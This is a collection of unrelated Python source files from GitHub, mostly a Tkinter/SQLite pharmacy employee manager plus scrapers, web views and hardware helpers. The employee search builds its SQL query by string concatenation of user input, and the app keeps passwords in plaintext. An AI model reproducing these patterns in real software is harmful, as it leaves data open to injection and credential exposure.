ctk.CTkImage(light_image=Image.open(\"images/clear.png\"), size=(32, 32))\n self.btn_clear = ctk.CTkButton(btnFrame, text=\"Clear All\", image=self.clearIcon,\n font=(\"Agency FB\", 20),\n cursor=\"hand2\", compound=LEFT, width=80, height=25, border_width=0,\n corner_radius=8)\n self.btn_clear.place(x=340, y=5, width=130, height=50)\n self.btn_clear.bind(\"\", self.clear)\n self.btn_clear.bind(\"\", self.clear)\n\n # ====== Employee Details ======\n emp_frame = ctk.CTkFrame(self.root)\n emp_frame.place(x=0, y=400, relwidth=1, height=250)\n\n style.configure(\"Treeview\", background=\"#333333\", foreground=\"white\", fieldbackground=\"#333333\", rowheight=30,\n font=(\"Arial\", 18))\n style.map(\"Treeview\", background=[(\"selected\", \"#0078D7\")])\n style.configure(\"Treeview.Heading\", font=('Constantia', 18))\n style.layout(\"Treeview\", [('Treeview.treearea', {'sticky': 'nswe'})]) # Remove the borders\n\n self.EmployeeTable = ttk.Treeview(emp_frame, style='Treeview', columns=(\n \"eid\", \"name\", \"email\", \"gender\", \"contact\", \"dob\", \"doj\", \"pass\", \"utype\", \"address\", \"salary\"))\n\n for column in self.EmployeeTable[\"columns\"]:\n self.EmployeeTable.column(column, anchor=CENTER)\n\n scrolly = ctk.CTkScrollbar(emp_frame, orientation=VERTICAL, command=self.EmployeeTable.yview)\n scrolly.pack(side=RIGHT, fill=Y)\n self.EmployeeTable.configure(yscrollcommand=scrolly.set)\n\n scrollx = ctk.CTkScrollbar(emp_frame, orientation=HORIZONTAL, command=self.EmployeeTable.xview)\n scrollx.pack(side=BOTTOM, fill=X)\n self.EmployeeTable.configure(xscrollcommand=scrollx.set)\n\n self.EmployeeTable.heading(\"eid\", text=\"EMP ID\")\n self.EmployeeTable.heading(\"name\", text=\"Name\")\n self.EmployeeTable.heading(\"email\", text=\"Email\")\n self.EmployeeTable.heading(\"gender\", text=\"Gender\")\n self.EmployeeTable.heading(\"contact\", text=\"Contact\")\n self.EmployeeTable.heading(\"dob\", text=\"D.O.B\")\n self.EmployeeTable.heading(\"doj\", text=\"D.O.J\")\n self.EmployeeTable.heading(\"pass\", text=\"Password\")\n self.EmployeeTable.heading(\"utype\", text=\"User Type\")\n self.EmployeeTable.heading(\"address\", text=\"Address\")\n self.EmployeeTable.heading(\"salary\", text=\"Salary\")\n\n self.EmployeeTable[\"show\"] = \"headings\"\n\n self.EmployeeTable.column(\"eid\", width=60, minwidth=60)\n self.EmployeeTable.column(\"name\", width=140, minwidth=140)\n self.EmployeeTable.column(\"email\", width=200, minwidth=200)\n self.EmployeeTable.column(\"gender\", width=140, minwidth=140)\n self.EmployeeTable.column(\"contact\", width=140, minwidth=140)\n self.EmployeeTable.column(\"dob\", width=140, minwidth=140)\n self.EmployeeTable.column(\"doj\", width=140, minwidth=140)\n self.EmployeeTable.column(\"pass\", width=140, minwidth=140)\n self.EmployeeTable.column(\"utype\", width=140, minwidth=140)\n self.EmployeeTable.column(\"address\", width=140, minwidth=140)\n self.EmployeeTable.column(\"salary\", width=140, minwidth=140)\n\n self.EmployeeTable.pack(fill=BOTH, expand=1)\n self.EmployeeTable.bind(\"\", self.get_data)\n\n self.show()\n\n def add(self, e):\n con = sqlite3.connect(database=r'hpd.db')\n cur = con.cursor()\n try:\n self.addDate = datetime.now().strftime(\"%m/%d/%Y\")\n if self.var_emp_id.get() == \"\":\n messagebox.showerror(\"Error\", \"Employee Id Must be required\", parent=self.root)\n else:\n cur.execute(\"SELECT * FROM employee WHERE eid=?\", (self.var_emp_id.get(),))\n row = cur.fetchone()\n if row is not None:\n messagebox.showerror(\"Error\", \"This Employee ID already assigned, try different\", parent=self.root)\n else:\n cur.execute(\n \"INSERT INTO employee (eid,name,email,gender,contact,dob,doj,pass,utype,address,salary) values(?,?,?,?,?,?,?,?,?,?,?)\",\n (\n self.var_emp_id.get(),\n self.var_name.get(),\n self.var_email.get(),\n self.var_gender.get(),\n self.var_contact.get(),\n self.var_dob.get(),\n self.var_doj.get(),\n self.var_pass.get(),\n self.var_utype.get(),\n self.txtAddress.get('1.0', END),\n self.var_salary.get()\n ))\n con.commit()\n messagebox.showinfo(\"Success\", \"Employee Added Successfully\", parent=self.root)\n self.show()\n\n cur.execute(\"SELECT expDesc FROM shopExpenses WHERE expDesc=?\", (\"Salary\",))\n row = cur.fetchone()\n if row is not None:\n messagebox.showerror(\"Error\", \"This name is not in the list of shop expenses page\", parent=self.root)\n else:\n cur.execute(\n \"INSERT INTO shopExpenses (expDesc, expPrice, expDate) values(?,?,?)\",\n (\n self.var_name.get(),\n self.var_salary.get(),\n self.addDate\n ))\n con.commit()\n con.close()\n except Exception as ex:\n messagebox.showerror(\"Error\", f\"Error due to : {str(ex)}\", parent=self.root)\n\n def show(self):\n con = sqlite3.connect(database=r'hpd.db')\n cur = con.cursor()\n try:\n cur.execute(\"SELECT * FROM employee\")\n rows = cur.fetchall()\n self.EmployeeTable.delete(*self.EmployeeTable.get_children())\n for row in rows:\n self.EmployeeTable.insert('', END, values=row)\n except Exception as ex:\n messagebox.showerror(\"Error\", f\"Error due to : {str(ex)}\", parent=self.root)\n\n def get_data(self, ev):\n try:\n f = self.EmployeeTable.focus()\n content = (self.EmployeeTable.item(f))\n row = content['values']\n self.var_emp_id.set(row[0])\n self.var_name.set(row[1])\n self.var_email.set(row[2])\n self.var_gender.set(row[3])\n self.var_contact.set(row[4])\n self.var_dob.set(row[5])\n self.var_doj.set(row[6])\n self.var_pass.set(row[7])\n self.var_utype.set(row[8])\n self.txtAddress.delete('1.0', END),\n self.txtAddress.insert(END, row[9]),\n self.var_salary.set(row[10])\n except (Exception,):\n pass\n\n def update(self, e):\n con = sqlite3.connect(database=r'hpd.db')\n cur = con.cursor()\n try:\n if self.var_emp_id.get() == \"\":\n messagebox.showerror(\"Error\", \"Employee Id Must be required\", parent=self.root)\n else:\n cur.execute(\"SELECT * FROM employee WHERE eid=?\", (self.var_emp_id.get(),))\n row = cur.fetchone()\n if row == None:\n messagebox.showerror(\"Error\", \"Invalid Employee ID\", parent=self.root)\n else:\n cur.execute(\n \"UPDATE employee set name=?,email=?,gender=?,contact=?,dob=?,doj=?,pass=?,utype=?,address=?,salary=? WHERE eid=?\",\n (\n self.var_name.get(),\n self.var_email.get(),\n self.var_gender.get(),\n self.var_contact.get(),\n self.var_dob.get(),\n self.var_doj.get(),\n self.var_pass.get(),\n self.var_utype.get(),\n self.txtAddress.get('1.0', END),\n self.var_salary.get(),\n self.var_emp_id.get()\n ))\n con.commit()\n messagebox.showinfo(\"Success\", \"Employee Updated Successfully\", parent=self.root)\n self.show()\n except Exception as ex:\n messagebox.showerror(\"Error\", f\"Error due to : {str(ex)}\", parent=self.root)\n\n def delete(self, e):\n con = sqlite3.connect(database=r'hpd.db')\n cur = con.cursor()\n try:\n if self.var_emp_id.get() == \"\":\n messagebox.showerror(\"Error\", \"Employee Id Must be required\", parent=self.root)\n else:\n cur.execute(\"SELECT * FROM employee WHERE eid=?\", (self.var_emp_id.get(),))\n row = cur.fetchone()\n if row == None:\n messagebox.showerror(\"Error\", \"Invalid Employee ID\", parent=self.root)\n else:\n op = messagebox.askyesno(\"Confirm\", \"Do you really want to delete?\", parent=self.root)\n if op == True:\n cur.execute(\"DELETE FROM employee WHERE eid=?\", (self.var_emp_id.get(),))\n con.commit()\n messagebox.showinfo(\"Delete\", \"Employee Deleted Successfully\", parent=self.root)\n self.clear(e)\n except Exception as ex:\n messagebox.showerror(\"Error\", f\"Error due to : {str(ex)}\", parent=self.root)\n\n def clear(self, e):\n self.var_emp_id.set(\"\")\n self.var_name.set(\"\")\n self.var_email.set(\"\")\n self.var_gender.set(\"Select\")\n self.var_contact.set(\"\")\n self.var_dob.set(\"\")\n self.var_doj.set(\"\")\n self.var_pass.set(\"\")\n self.var_utype.set(\"Admin\")\n self.txtAddress.delete('1.0', END)\n self.var_salary.set(\"\")\n self.var_searchtxt.set(\"\")\n self.var_searchby.set(\"Select\")\n\n self.show()\n\n def search(self):\n con = sqlite3.connect(database=r'hpd.db')\n cur = con.cursor()\n try:\n if self.var_searchby.get() == \"Select\":\n messagebox.showerror(\"Error\", \"Select Search By Option\", parent=self.root)\n elif self.var_searchtxt.get() == \"\":\n messagebox.showerror(\"Error\", \"Select input should be required\", parent=self.root)\n else:\n cur.execute(\n \"SELECT * FROM employee WHERE \" + self.var_searchby.get() + \" LIKE '%\" + self.var_searchtxt.get() + \"%'\")\n rows = cur.fetchall()\n if len(rows) != 0:\n self.EmployeeTable.delete(*self.EmployeeTable.get_children())\n for row in rows:\n self.EmployeeTable.insert('', END, values=row)\n else:\n messagebox.showerror(\"Error\", \"No record found!!!\", parent=self.root)\n except Exception as ex:\n messagebox.showerror(\"Error\", f\"Error due to : {str(ex)}\", parent=self.root)\n\n\nif __name__ == \"__main__\":\n root = ctk.CTk()\n obj = employeeClass(root)\n root.mainloop()\n","repo_name":"Usman-Amjad/Pharmacy-Management-System","sub_path":"employee.py","file_name":"employee.py","file_ext":"py","file_size_in_byte":19363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4907630964","text":"from pyramid.view import view_config\nfrom pyramid.httpexceptions import HTTPNotFound, HTTPFound\n\nfrom voting_machine_alchemy.services.user import UserService\nfrom ..models.voting import Team\nfrom ..services.team import TeamService\nfrom ..forms import TeamCreateForm, TeamUpdateForm\n\n\n@view_config(route_name='team_action', match_param='action=create',\n renderer='voting_machine_alchemy:templates/edit_team.jinja2')\ndef team_create(request):\n event_id = request.matchdict.get('event_id')\n entry = Team(event_id=event_id)\n form = TeamCreateForm(request.POST, entry)\n form.members.query = UserService.all(request)\n if request.method == 'POST' and form.validate():\n form.populate_obj(entry)\n request.dbsession.add(entry)\n return HTTPFound(location=request.route_url('event', id=event_id))\n return {'form': form,\n 'action': request.matchdict.get('action'),\n 'event_id': event_id,\n }\n\n\n@view_config(route_name='team_action', match_param='action=edit',\n renderer='voting_machine_alchemy:templates/edit_team.jinja2')\ndef team_update(request):\n team_id = int(request.params.get('id', -1))\n event_id = request.matchdict.get('event_id')\n entry = TeamService.by_id(team_id, request)\n if not entry:\n return HTTPNotFound()\n form = TeamUpdateForm(request.POST, entry)\n form.members.query = UserService.all(request)\n if request.method == 'POST' and form.validate():\n form.populate_obj(entry)\n return HTTPFound(\n location=request.route_url('event', id=event_id))\n return {\n 'form': form,\n 'action': request.matchdict.get('action'),\n 'event_id': entry.event_id,\n }\n","repo_name":"calvinhp/pyramid_voting_machine","sub_path":"voting_machine_alchemy/views/team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5874680684","text":"#!/usr/bin/python\r\n\r\n# Python Standard Library Imports\r\nimport smbus\r\n\r\n# External Imports\r\npass\r\n\r\n# Custom Imports\r\npass\r\n\r\n# ===========================================================================\r\n# PyComms I2C Base Class (an rewriten Adafruit_I2C pythone class clone)\r\n# ===========================================================================\r\n\r\nclass PyComms:\r\n def __init__(self, address, bus = smbus.SMBus(0)):\r\n self.address = address\r\n self.bus = bus\r\n\r\n def reverseByteOrder(self, data):\r\n # Reverses the byte order of an int (16-bit) or long (32-bit) value\r\n # Courtesy Vishal Sapre\r\n dstr = hex(data)[2:].replace('L','')\r\n byteCount = len(dstr[::2])\r\n val = 0\r\n for i, n in enumerate(range(byteCount)):\r\n d = data & 0xFF\r\n val |= (d << (8 * (byteCount - i - 1)))\r\n data >>= 8\r\n return val\r\n \r\n def readBit(self, reg, bitNum):\r\n b = self.readU8(reg)\r\n data = b & (1 << bitNum)\r\n return data\r\n \r\n def writeBit(self, reg, bitNum, data):\r\n b = self.readU8(reg)\r\n \r\n if data != 0:\r\n b = (b | (1 << bitNum))\r\n else:\r\n b = (b & ~(1 << bitNum))\r\n \r\n return self.write8(reg, b)\r\n \r\n def readBits(self, reg, bitStart, length):\r\n # 01101001 read byte\r\n # 76543210 bit numbers\r\n # xxx args: bitStart=4, length=3\r\n # 010 masked\r\n # -> 010 shifted \r\n \r\n b = self.readU8(reg)\r\n mask = ((1 << length) - 1) << (bitStart - length + 1)\r\n b &= mask\r\n b >>= (bitStart - length + 1)\r\n \r\n return b\r\n \r\n \r\n def writeBits(self, reg, bitStart, length, data):\r\n # 010 value to write\r\n # 76543210 bit numbers\r\n # xxx args: bitStart=4, length=3\r\n # 00011100 mask byte\r\n # 10101111 original value (sample)\r\n # 10100011 original & ~mask\r\n # 10101011 masked | value\r\n \r\n b = self.readU8(reg)\r\n mask = ((1 << length) - 1) << (bitStart - length + 1)\r\n data <<= (bitStart - length + 1)\r\n data &= mask\r\n b &= ~(mask)\r\n b |= data\r\n \r\n return self.write8(reg, b)\r\n\r\n def readBytes(self, reg, length):\r\n output = []\r\n \r\n i = 0\r\n while i < length:\r\n output.append(self.readU8(reg))\r\n i += 1\r\n \r\n return output \r\n \r\n def readBytesListU(self, reg, length):\r\n output = []\r\n \r\n i = 0\r\n while i < length:\r\n output.append(self.readU8(reg + i))\r\n i += 1\r\n \r\n return output\r\n\r\n def readBytesListS(self, reg, length):\r\n output = []\r\n \r\n i = 0\r\n while i < length:\r\n output.append(self.readS8(reg + i))\r\n i += 1\r\n \r\n return output \r\n \r\n def writeList(self, reg, list):\r\n # Writes an array of bytes using I2C format\"\r\n try:\r\n self.bus.write_i2c_block_data(self.address, reg, list)\r\n except (IOError):\r\n print (\"Error accessing 0x%02X: Check your I2C address\" % self.address)\r\n return -1 \r\n \r\n def write8(self, reg, value):\r\n # Writes an 8-bit value to the specified register/address\r\n try:\r\n self.bus.write_byte_data(self.address, reg, value)\r\n except (IOError):\r\n print (\"Error accessing 0x%02X: Check your I2C address\" % self.address)\r\n return -1\r\n\r\n def readU8(self, reg):\r\n # Read an unsigned byte from the I2C device\r\n try:\r\n result = self.bus.read_byte_data(self.address, reg)\r\n return result\r\n except (IOError):\r\n print (\"Error accessing 0x%02X: Check your I2C address\" % self.address)\r\n return -1\r\n\r\n def readS8(self, reg):\r\n # Reads a signed byte from the I2C device\r\n try:\r\n result = self.bus.read_byte_data(self.address, reg)\r\n if result > 127:\r\n return result - 256\r\n else:\r\n return result\r\n except (IOError):\r\n print (\"Error accessing 0x%02X: Check your I2C address\" % self.address)\r\n return -1\r\n\r\n def readU16(self, reg):\r\n # Reads an unsigned 16-bit value from the I2C device\r\n try:\r\n hibyte = self.bus.read_byte_data(self.address, reg)\r\n result = (hibyte << 8) + self.bus.read_byte_data(self.address, reg + 1)\r\n return result\r\n except (IOError):\r\n print (\"Error accessing 0x%02X: Check your I2C address\" % self.address)\r\n return -1\r\n\r\n def readS16(self, reg):\r\n # Reads a signed 16-bit value from the I2C device\r\n try:\r\n hibyte = self.bus.read_byte_data(self.address, reg)\r\n if hibyte > 127:\r\n hibyte -= 256\r\n result = (hibyte << 8) + self.bus.read_byte_data(self.address, reg + 1)\r\n return result\r\n except (IOError):\r\n print (\"Error accessing 0x%02X: Check your I2C address\" % self.address)\r\n return -1","repo_name":"cTn-dev/PyComms","sub_path":"PyComms/pycomms.py","file_name":"pycomms.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"18"} +{"seq_id":"36791315880","text":"from authlib.common.errors import AuthlibBaseError\nimport flask\nfrom flask import current_app\n\nfrom authutils.errors import AuthError\nfrom authutils.token import store_session_token\n\n\ndef client_do_authorize():\n redirect_uri = current_app.oauth_client.session.redirect_uri\n mismatched_state = (\n \"state\" not in flask.request.args\n or \"state\" not in flask.session\n or flask.request.args[\"state\"] != flask.session.pop(\"state\")\n )\n if mismatched_state:\n raise AuthError(\"could not authorize; state did not match across auth requests\")\n try:\n token = current_app.oauth_client.fetch_access_token(\n redirect_uri, **flask.request.args.to_dict()\n )\n store_session_token(token[\"access_token\"])\n return token\n except KeyError as e:\n raise AuthError(\"error in token response: {}\".format(token))\n except AuthlibBaseError as e:\n raise AuthError(str(e))\n","repo_name":"uc-cdis/authutils","sub_path":"src/authutils/oauth2/client/authorize.py","file_name":"authorize.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38747279441","text":"n = int(input())\nwl = [\"a\", \"b\", \"c\"]\nres = [\"a\", \"b\", \"c\"]\nfor i in range(n-1):\n for j in range(len(res)):\n for k in range(3):\n res.append(res[j] + wl[k])\n\nres.sort()\nfor r in res:\n if len(r) == n:\n print(r)\n","repo_name":"yumechi/AtCoderHandoutCodes","sub_path":"RealTime/ABC029/abc029c.py","file_name":"abc029c.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"39430391568","text":"from bs4 import BeautifulSoup\nimport re\nimport requests\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport time\nfrom selenium import webdriver\nimport json\nimport sqlite3\nimport datetime\nimport pandas as pd\n\ndriver = webdriver.Chrome(ChromeDriverManager().install())\n# driver = webdriver.Chrome('chromedriver')\n\ncnx = sqlite3.connect(':memory')\n\nclass NewsScraper:\n\n\n def reutersScraper(self):\n def scrap(topic):\n\n driver.get(f'https://www.reuters.com/news/archive/{topic}news?view=page&page=2&pageSize=10')\n\n count = 0\n headlines = []\n dates = []\n links = []\n news_links = []\n for x in range(3):\n try:\n # loadMoreButton.click()\n # time.sleep(3)\n loadMoreButton = driver.find_element_by_class_name(\"control-nav-next\")\n # driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n time.sleep(3)\n loadMoreButton.click()\n time.sleep(2)\n news_headlines = driver.find_elements_by_class_name(\"story-title\")\n news_dates = driver.find_elements_by_class_name(\"timestamp\")\n for headline in news_headlines:\n headlines.append(headline.text)\n print(headline.text)\n news_links.append(headline.find_element_by_xpath('..').get_attribute('href'))\n for date in news_dates:\n dates.append(date.text)\n print(date.text)\n count = count + 1\n print(\"CLICKED!!:\")\n except Exception as e:\n print(e)\n break\n articles_dictionary = {}\n articles_dictionary = dict(zip(headlines, news_links))\n with open(f'../ProjectData/news_sources/reuters_{topic}.json', 'w') as f:\n json.dump(articles_dictionary, f)\n\n topics = ['business','esg','technology','world','environment']\n for topic in topics:\n scrap(topic)\n\n\n def ecowatchScraper(self):\n\n driver.get('https://ecotopical.com/ecowatch/')\n\n count = 0\n headlines = []\n dates = []\n links = []\n news_links = []\n for x in range(1):\n try:\n # loadMoreButton.click()\n # time.sleep(3)\n # loadMoreButton = driver.find_element_by_class_name(\"widget__headline-text\")\n # driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n # time.sleep(3)\n # loadMoreButton.click()\n time.sleep(2)\n news_headlines = driver.find_elements_by_class_name(\"go\")\n # news_dates = driver.find_elements_by_class_name(\"timestamp\")\n for headline in news_headlines:\n headlines.append(headline.text)\n print(headline.text)\n news_links.append(headline.get_attribute('href'))\n \"\"\"for date in news_dates:\n dates.append(date.text)\n print(date.text)\n count=count+1\n print(\"CLICKED!!:\")\"\"\"\n except Exception as e:\n print(e)\n break\n articles_dictionary = dict(zip(headlines, news_links))\n with open('../../data/scrapingData/news_sources/ecowatch_sustainability.json', 'w') as f:\n json.dump(articles_dictionary, f)\n\n\n\n def datesplitter(self,df):\n df['year'] = df.date.map(lambda x: x.year)\n df['month'] = df.date.map(lambda x: x.month)\n df['date'] = df.date.map(lambda x: x.date)\n df.drop(columns=['date'], inplace=True)\n return df\n\n\n\n def NewsScraper(load_more_button, news_headlines, news_dates,source_name,topic_name,source_link,date_format):\n driver.get(source_link)\n headlines = []\n dates = []\n news_links = []\n\n try:\n driver.get(source_link)\n except Exception as e:\n status = f\"Error {e} occurred when connecting to the {source_name} website using driver\"\n\n else:\n\n try:\n for x in range(2):\n load_more_button.click()\n time.sleep(2)\n for headline in news_headlines:\n headlines.append(headline.text)\n news_links.append(headline.find_element_by_xpath('..').get_attribute('href'))\n for date_element in news_dates:\n date_extracted = datetime.datetime.strptime(date_element.text,date_format)\n dates.append(date_extracted)\n except Exception as e:\n status = f\"Error {e} occurred when scraping the {source_name}\"\n else:\n df = pd.DataFrame(list(zip(headlines, news_links, dates)), columns=['headline', 'link', 'dates'])\n df['source'] = source_name\n df['topic'] = topic_name\n df['year'] = df.dates.map(lambda x: x.year)\n df['month'] = df.dates.map(lambda x: x.month)\n df.to_csv(f\"{source_name}_{topic_name}.csv\")\n status = f\"successfully retrieved from {source_name}\"\n return status\n\n\n\nstatus = NewsScraper()","repo_name":"thyaravind/Impakter","sub_path":"CORE/Services/Dev/Archives/Scraper.py","file_name":"Scraper.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32116472653","text":"\"\"\"Module to add ports configuration to aggregated portcmd DataFrame,\nfilter ports for which the error threshold has been exceeded\"\"\"\n\nimport pandas as pd\n\n\ndef port_cfg_join(portshow_aggregated_df, portcfgshow_df):\n \"\"\"Function to add ports configuration to aggregated portcmd DataFrame\"\"\"\n \n join_columns_lst = ['configname', 'chassis_name', 'chassis_wwn', \n 'switchName', 'switchWwn', 'slot', 'port']\n\n # rename columns in portcfgshow_df duplicated in portshow_aggregated_df DataFrame except columns to merge on\n duplicate_columns = [column for column in portcfgshow_df.columns if \n (column in portshow_aggregated_df.columns and not column in join_columns_lst)]\n duplicate_columns_rename = [column + '_cfg' for column in duplicate_columns]\n rename_dct = {k:v for k, v in zip(duplicate_columns, duplicate_columns_rename)}\n portcfgshow_df.rename(columns=rename_dct, inplace=True)\n # change column names to correspond portshow_aggregated_df\n portcfgshow_df.rename(columns={'SwitchName': 'switchName'}, inplace=True)\n # add portcfgshow to port_complete_df\n port_complete_df = portshow_aggregated_df.merge(portcfgshow_df, how='left', on=join_columns_lst).copy()\n port_complete_df.drop_duplicates(inplace=True)\n return port_complete_df\n\n\ndef port_error_filter(portshow_sfp_aggregated_df, error_threshhold_num: int=100, error_threshold_percenatge: int=3):\n \"\"\"Function to filter ports for which the error threshold has been exceeded.\n For critical errors the threshold value is 100 errors and \n for medium errors the threshold value is 3 percent of the number of received frames\"\"\"\n\n filtered_error_lst = []\n\n stat_frx = 'stat_frx'\n\n medium_errors = [\n ['Link_failure', 'Loss_of_sync', 'Loss_of_sig'],\n ['er_rx_c3_timeout', 'er_tx_c3_timeout', 'er_unroutable', 'er_unreachable', 'er_other_discard'],\n ['er_enc_in', 'er_enc_out', 'er_crc', 'er_bad_os'], \n ['er_bad_eof']\n ]\n\n critical_errors = [\n ['Lr_in', 'Lr_out', 'Ols_in',\t'Ols_out'], \n ['er_crc_good_eof'], \n ['fec_uncor_detected'], \n ['er_pcs_blk']\n ]\n\n # convert error and received frames columns to numeric type\n errors_flat = [error for error_grp in [*critical_errors, *medium_errors] for error in error_grp]\n portshow_sfp_aggregated_df[[stat_frx, *errors_flat]] = portshow_sfp_aggregated_df[[stat_frx, *errors_flat]].apply(pd.to_numeric, errors='ignore')\n\n # create column with medium error percentage from number of received frames\n medium_errors_flat = [error for error_grp in medium_errors for error in error_grp]\n for err_column in medium_errors_flat:\n err_percentage_column = err_column + '_percentage'\n portshow_sfp_aggregated_df[err_percentage_column] = (portshow_sfp_aggregated_df[err_column] / portshow_sfp_aggregated_df[stat_frx]) * 100\n portshow_sfp_aggregated_df[err_percentage_column] = portshow_sfp_aggregated_df[err_percentage_column].round(2)\n\n switch_columns = ['Fabric_name', 'Fabric_label', \n 'chassis_name', 'chassis_wwn', 'switchName', 'switchWwn',\n 'portIndex', 'slot', 'port', 'switchName_Index_slot_port', 'portState', 'portType',\n 'Device_Host_Name_Port_group', 'alias_Port_group', 'stat_frx']\n\n # verify critical errors which exceeds threshold\n for error_grp in critical_errors:\n mask_errors_num = (portshow_sfp_aggregated_df[error_grp] > error_threshhold_num).any(axis=1)\n filtered_error_df = portshow_sfp_aggregated_df.loc[mask_errors_num, [*switch_columns, *error_grp]]\n filtered_error_df.drop_duplicates(inplace=True)\n filtered_error_lst.append(filtered_error_df)\n\n # verify medium errors which exceeds thresholds\n for error_grp in medium_errors:\n mask_errors_num = (portshow_sfp_aggregated_df[error_grp] > error_threshhold_num).any(axis=1)\n error_grp_percantage = [error + '_percentage' for error in error_grp]\n mask_errors_percentage = (portshow_sfp_aggregated_df[error_grp_percantage] > error_threshold_percenatge).any(axis=1)\n filtered_error_df = portshow_sfp_aggregated_df.loc[mask_errors_num & mask_errors_percentage, [*switch_columns, *error_grp, *error_grp_percantage]]\n filtered_error_df.drop_duplicates(inplace=True)\n filtered_error_lst.append(filtered_error_df)\n return filtered_error_lst","repo_name":"KonstantinAlxVlasenko/san_report_automation","sub_path":"san_analysis/port_err_sfp_cfg/port_err_cfg.py","file_name":"port_err_cfg.py","file_ext":"py","file_size_in_byte":4463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7560237374","text":"# author: steeve laquitaine\n# inspired from https://towardsai.net/p/machine-learning/deploy-a-python-machine-learning-model-on-your-iphone\n\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.datasets import load_boston\nimport coremltools as cml\nfrom sklearn import tree\n\ndef train():\n\n # Load data\n boston = load_boston()\n boston_df = pd.DataFrame(boston[\"data\"])\n boston_df.columns = boston[\"feature_names\"]\n boston_df[\"PRICE\"]= boston[\"target\"]\n\n y = boston_df[\"PRICE\"]\n X = boston_df.loc[:,[\"RM\", \"AGE\", \"PTRATIO\"]]\n\n # Train a model\n lm = LinearRegression()\n lm.fit(X, y)\n\n # Convert sklearn model to CoreML\n model = cml.converters.sklearn. \\\n convert(lm, [\"RM\", \"AGE\", \"PTRATIO\"],\"PRICE\")\n\n # Assign model metadata\n model.author = \"Medium Author\"\n model.license = \"MIT\"\n model.short_description = \\\n \"Predicts house price in Boston\"\n\n # Assign feature descriptions\n model.input_description[\"RM\"] = \\\n \"Number of bedrooms\"\n model.input_description[\"AGE\"] = \\\n \"Proportion of units built pre 1940\"\n model.input_description[\"PTRATIO\"] = \\\n \"Pupil-teacher ratio by town\"\n # Assign the output description\n model.output_description[\"PRICE\"] = \\\n \"Median Value in 1k (USD)\"\n\n # Save model\n model.save('bhousing.mlmodel')\n\ndef build():\n model = train()\n \nif __name__ == \"__main__\":\n build()","repo_name":"dsci-org/ios_house_prices","sub_path":"src/build_model.py","file_name":"build_model.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7892538361","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .forms import MessageForumForm\nfrom .models import TopicForum, CategoryForum, MessageForum\n\n\n\ndef main_view(request):\n categoryes = CategoryForum.objects.all()\n\n return render(request, 'forum_main.html', {'categoryes': categoryes})\n\ndef category_forum_deteil(request, slug):\n\n category = get_object_or_404(CategoryForum, slug=slug)\n topics = category.topics.all()\n return render(request, 'detail_category_forum.html', {'categoryes': topics, 'category':category})\n\ndef topic_detail(request, slug):\n \n topic = get_object_or_404(TopicForum, slug=slug)\n messages = topic.messages.all()\n if request.user.is_authenticated:\n user = request.user\n else:\n user = 'Guest'\n form = MessageForumForm(initial={'author': user, 'topic':topic, 'text': None})\n\n return render(request, 'topics_detail.html', {'messages': messages, 'form':form})\n\n\ndef save_message(request):\n form = MessageForumForm(request.POST)\n if form.is_valid():\n form.save()\n topic_form = form.cleaned_data['topic']\n topic = TopicForum.objects.get(title = topic_form)\n\n return topic_detail(request=request, slug = topic.slug)","repo_name":"AnDr10wA/portal","sub_path":"portal/forum/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7124936190","text":"import argparse\nfrom pathlib import Path\n\nimport numpy as np\nimport torch\nfrom torch import nn\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\n\nfrom models.act.detr_vae import build_ACT_model\nfrom dataset.act_dataset import set_seed\n\nimport IPython\ne = IPython.embed\n\n\ndef get_args_parser():\n parser = argparse.ArgumentParser(\n 'Set transformer detector', add_help=False)\n parser.add_argument('--lr', default=1e-4, type=float) # will be overridden\n parser.add_argument(\"--weight_decay\", default=1e-2,\n type=float) # will be overridden\n parser.add_argument(\"--kl_weight\", default=10, type=int)\n # Model parameters\n\n # Model parameters\n # * Backbone\n parser.add_argument('--backbone', default='resnet18', type=str, # will be overridden\n help=\"Name of the convolutional backbone to use\")\n parser.add_argument('--dilation', action='store_true',\n help=\"If true, we replace stride with dilation in the last convolutional block (DC5)\")\n parser.add_argument('--position_embedding', default='sine', type=str, choices=('sine', 'learned'),\n help=\"Type of positional embedding to use on top of the image features\")\n # parser.add_argument('--camera_names', default=[], type=list, # will be overridden\n # help=\"A list of camera names\")\n\n # * Transformer\n parser.add_argument('--enc_layers', default=4, type=int, # will be overridden\n help=\"Number of encoding layers in the transformer\")\n parser.add_argument('--dec_layers', default=6, type=int, # will be overridden\n help=\"Number of decoding layers in the transformer\")\n parser.add_argument('--dim_feedforward', default=2048, type=int, # will be overridden\n help=\"Intermediate size of the feedforward layers in the transformer blocks\")\n parser.add_argument('--hidden_dim', default=256, type=int, # will be overridden\n help=\"Size of the embeddings (dimension of the transformer)\")\n parser.add_argument('--dropout', default=0.1, type=float,\n help=\"Dropout applied in the transformer\")\n parser.add_argument('--nheads', default=8, type=int, # will be overridden\n help=\"Number of attention heads inside the transformer's attentions\")\n parser.add_argument('--num_queries', default=50, type=int, # will be overridden\n help=\"Number of query slots\")\n 